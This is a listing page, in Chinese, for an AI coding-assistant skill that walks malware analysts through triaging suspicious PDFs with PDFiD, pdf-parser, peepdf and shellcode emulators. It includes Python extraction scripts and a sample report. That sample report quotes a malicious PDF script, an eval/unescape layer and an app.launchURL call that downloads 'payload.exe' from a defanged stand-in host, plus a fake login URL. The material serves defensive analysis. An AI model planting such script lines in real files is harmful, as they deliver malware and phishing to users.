关于 analyzing-pdf-malware-with-pdfid
该技能面向恶意软件分析人员,提供使用 PDFiD 和相关工具进行 PDF 结构分析的流程。它侧重识别可疑对象并提取 JavaScript、Shellcode、嵌入文件和 URL,而非分析页面视觉内容。
主要功能
- 01用 PDFiD 进行初步结构筛查
- 02使用 pdf-parser 检查 PDF 对象
- 03提取并分析嵌入的 JavaScript
- 04提取 Shellcode、文件和 URL
- 05整理恶意软件分析报告
适用场景
- 01分流邮件安全系统标记的可疑 PDF
- 02检查 PDF 中的脚本、漏洞利用或 Shellcode
- 03提取恶意 PDF 中的文件和网络指标
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill analyzing-pdf-malware-with-pdfid安装后在 Claude Code 中输入/analyzing-pdf-malware-with-pdfid确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
使用 PDFiD 分析 PDF 恶意软件
何时使用
- 邮件安全系统标记了可疑的 PDF 附件,或用户报告了可疑的 PDF 附件
- 你需要确定 PDF 是否包含嵌入式 JavaScript、shellcode 或漏洞利用代码
- 在沙箱或分析环境中打开 PDF 文档之前对其进行分类
- 从恶意 PDF 对象中提取嵌入式可执行文件、脚本或 URL
- 分析针对 Adobe Reader 或其他 PDF 查看器漏洞的 PDF 漏洞利用工具包
请勿使用本方法分析 PDF 的渲染视觉内容;本方法用于对 PDF 文件格式进行结构化分析,以查找恶意对象。
前置条件
- Python 3.8+,并安装 Didier Stevens 的 PDF 工具(
pip install pdfid pdf-parser) - 安装 peepdf 以进行交互式 PDF 分析(
pip install peepdf) - 从 poppler-utils 安装 pdftotext,以安全地提取文本内容
- 使用带 PDF 专用规则的 YARA 进行恶意软件家族识别
- 未安装 PDF 阅读器的隔离分析虚拟机(防止意外打开)
- 使用 CyberChef 解码嵌入的 Base64、十六进制或 deflate 流
工作流
第 1 步:使用 PDFiD 进行初步分类
扫描 PDF 中的可疑关键字和结构:
# Run PDFiD to identify suspicious elements
pdfid suspect.pdf
# Expected output analysis:
# /JS - JavaScript (HIGH risk)
# /JavaScript - JavaScript object (HIGH risk)
# /AA - Auto-Action triggered on open (HIGH risk)
# /OpenAction - Action on document open (HIGH risk)
# /Launch - Launch external application (HIGH risk)
# /EmbeddedFile - Embedded file (MEDIUM risk)
# /RichMedia - Flash content (MEDIUM risk)
# /ObjStm - Object stream (used for obfuscation)
# /URI - URL reference (contextual risk)
# /AcroForm - Interactive form (MEDIUM risk)
# Run with extra detail
pdfid -e suspect.pdf
# Run with disarming (rename suspicious keywords)
pdfid -d suspect.pdf
PDFiD Risk Assessment:
━━━━━━━━━━━━━━━━━━━━━
HIGH RISK indicators (any count > 0):
/JS, /JavaScript -> Embedded JavaScript code
/AA -> Automatic Action (triggers without user interaction)
/OpenAction -> Code runs when document is opened
/Launch -> Can launch external executables
/JBIG2Decode -> Associated with CVE-2009-0658 exploit
MEDIUM RISK indicators:
/EmbeddedFile -> Contains embedded files (could be EXE/DLL)
/RichMedia -> Flash/multimedia (Flash exploits)
/AcroForm -> Form with possible submit action
/XFA -> XML Forms Architecture (complex attack surface)
LOW RISK indicators:
/ObjStm -> Object streams (obfuscation technique)
/URI -> External URL references
/Page -> Number of pages (context only)
第 2 步:使用 pdf-parser 解析 PDF 结构
检查 PDFiD 识别出的可疑对象:
# List all objects referencing JavaScript
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf
# List all objects with OpenAction
pdf-parser --search "/OpenAction" suspect.pdf
# Extract a specific object by ID (example: object 5)
pdf-parser --object 5 suspect.pdf
# Extract and decompress stream content
pdf-parser --object 5 --filter --raw suspect.pdf
# Search for embedded files
pdf-parser --search "/EmbeddedFile" suspect.pdf
# List all objects with their types
pdf-parser --stats suspect.pdf
第 3 步:提取并分析嵌入式 JavaScript
从 PDF 对象中提取 JavaScript 代码:
# Extract JavaScript using pdf-parser
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
# Alternative: Use peepdf for interactive JavaScript extraction
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF
# peepdf interactive commands for JS analysis:
# js_analyse - Extract and show all JavaScript code
# js_beautify - Format extracted JavaScript
# js_eval <object> - Evaluate JavaScript in sandboxed environment
# object <id> - Display object content
# rawobject <id> - Display raw object bytes
# stream <id> - Display decompressed stream
# offsets - Show object offsets in file
# Python script for comprehensive PDF JavaScript extraction
import subprocess
import re
# Extract all streams and search for JavaScript
result = subprocess.run(
["pdf-parser", "--stats", "suspect.pdf"],
capture_output=True, text=True
)
# Find object IDs containing JavaScript references
js_objects = []
for line in result.stdout.split('\n'):
if '/JavaScript' in line or '/JS' in line:
obj_id = re.search(r'obj (\d+)', line)
if obj_id:
js_objects.append(obj_id.group(1))
# Extract each JavaScript-containing object
for obj_id in js_objects:
result = subprocess.run(
["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
print(f"\n=== Object {obj_id} ===")
print(result.stdout[:2000])
第 4 步:分析嵌入式 Shellcode
从 PDF 漏洞利用中提取并检查 shellcode:
# Extract raw stream data for shellcode analysis
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
# Analyze shellcode with scdbg (shellcode debugger)
scdbg /f shellcode.bin
# Alternative: Use speakeasy for shellcode emulation
python3 -c "
import speakeasy
se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)
# Review API calls made by shellcode
for event in se.get_report()['api_calls']:
print(f\"{event['api']}: {event['args']}\")
"
# Use CyberChef to decode hex/base64 encoded shellcode
# Input: Extracted stream data
# Recipe: From Hex -> Disassemble x86
第 5 步:提取嵌入式文件和 URL
提取嵌入式可执行文件和链接资源:
# Extract embedded files from PDF
import subprocess
import hashlib
# Find embedded file objects
result = subprocess.run(
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
capture_output=True
)
# Extract embedded PE files by searching for MZ header
with open("suspect.pdf", "rb") as f:
data = f.read()
# Search for embedded PE files
offset = 0
while True:
pos = data.find(b'MZ', offset)
if pos == -1:
break
# Verify PE signature
if pos + 0x3C < len(data):
pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
print(f"Embedded PE found at offset 0x{pos:X}")
# Extract (estimate size or use PE header)
embedded = data[pos:pos+100000] # Initial extraction
sha256 = hashlib.sha256(embedded).hexdigest()
with open(f"embedded_{pos:X}.exe", "wb") as out:
out.write(embedded)
print(f" SHA-256: {sha256}")
offset = pos + 1
# Extract URLs from PDF
result = subprocess.run(
["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
print(f"URL: {url}")
第 6 步:生成分析报告
记录 PDF 分析中的所有发现:
Analysis should cover:
- PDFiD triage results (suspicious keyword counts)
- PDF structure anomalies (object streams, cross-reference issues)
- Extracted JavaScript code (deobfuscated if needed)
- Shellcode analysis results (API calls, network indicators)
- Embedded files extracted with hashes
- URLs and external references
- CVE identification if a known exploit is detected
- YARA rule matches against known PDF malware families
关键概念
| 术语 | 定义 |
|---|---|
| PDF 对象 | PDF 文件的基本构建块;对象可以包含流(压缩数据)、字典、数组以及对其他对象的引用 |
| OpenAction | PDF 字典条目,指定文档打开时要执行的操作;通常用于触发 JavaScript 漏洞利用 |
| PDF 流 | PDF 对象内的压缩数据,可以包含 JavaScript、图像、嵌入式文件或 shellcode;通常使用 FlateDecode 压缩 |
| FlateDecode | 应用于 PDF 流的 Zlib/deflate 压缩过滤器;必须解压缩才能分析内容 |
| ObjStm(对象流) | PDF 的一项功能,将多个对象存储在单个压缩流中;恶意软件利用它来向简单的解析器隐藏可疑对象 |
| JBIG2 | PDF 中的图像压缩标准;历史上的漏洞利用来源(CVE-2009-0658、CVE-2021-30860 FORCEDENTRY) |
| PDF JavaScript API | PDF 文档中可用的 Adobe 专用 JavaScript 扩展,用于表单操作、网络访问和操作系统交互 |
工具与系统
- PDFiD:Didier Stevens 的工具,用于扫描 PDF 文档中的可疑关键字和结构,而无需解析整个文档
- pdf-parser:PDFiD 的配套工具,用于详细的 PDF 对象提取、流解压缩和内容分析
- peepdf:基于 Python 的 PDF 分析工具,提供交互式 shell,用于对象检查和 JavaScript 提取
- QPDF:PDF 转换工具,用于线性化、解密和重构 PDF,以便更轻松地分析
- scdbg:Shellcode 分析工具,可模拟 x86 shellcode 执行并记录 API 调用
常见场景
场景:分析带有嵌入式 JavaScript 的钓鱼 PDF
背景:电子邮件网关标记了一个带有可疑 JavaScript 特征的 PDF 附件。安全团队需要确定它包含的是漏洞利用还是社会工程重定向。
方法:
- 运行 PDFiD 以确认 /JS、/JavaScript 和 /OpenAction 是否存在及其数量
- 使用 pdf-parser 提取 OpenAction 对象并追踪其引用链
- 从引用的流对象中提取 JavaScript 代码(应用 FlateDecode 过滤器)
- 对 JavaScript 进行去混淆(解码十六进制字符串,解析 eval 链)
- 判断脚本是利用 PDF 阅读器漏洞(检查堆喷射、ROP 链)还是执行重定向
- 提取所有 URL、IP 和嵌入文件作为 IOC
- 对样本进行分类:漏洞利用(特定 CVE)或社会工程(重定向/钓鱼)
易错点:
- 使用标准阅读器打开 PDF,而不是用命令行工具分析
- 遗漏隐藏在对象流(/ObjStm)中的 JavaScript——PDFiD 能检测到,但简单解析器会漏掉
- 分析前未解压流(FlateDecode、ASCIIHexDecode、ASCII85Decode 过滤器)
- 假设没有 /JS 就意味着没有 JavaScript;代码可以嵌入表单字段(/AcroForm 配合 /XFA)
输出格式
PDF MALWARE ANALYSIS REPORT
==============================
File: invoice_2025.pdf
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
File Size: 45,312 bytes
PDF Version: 1.7
PDFID TRIAGE
/JS: 1 [HIGH RISK]
/JavaScript: 1 [HIGH RISK]
/OpenAction: 1 [HIGH RISK]
/EmbeddedFile: 0
/Launch: 0
/URI: 2
/Page: 1
/ObjStm: 1 [OBFUSCATION]
SUSPICIOUS OBJECTS
Object 5: /OpenAction -> references Object 8
Object 8: /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
Object 12: /ObjStm containing objects 15-18
EXTRACTED JAVASCRIPT
Layer 1: eval(unescape("%68%65%6C%6C%6F"))
Layer 2: var url = "hxxp://malicious[.]com/payload.exe";
app.launchURL(url, true);
// Social engineering redirect, not exploit
EXTRACTED IOCs
URLs: hxxp://malicious[.]com/payload.exe
hxxps://fake-login[.]com/adobe/verify
Domains: malicious[.]com, fake-login[.]com
CLASSIFICATION
Type: Social Engineering (URL redirect)
CVE: None (no exploit code detected)
Risk: HIGH (downloads executable payload)
Family: Generic PDF Dropper
评论
支持 Markdown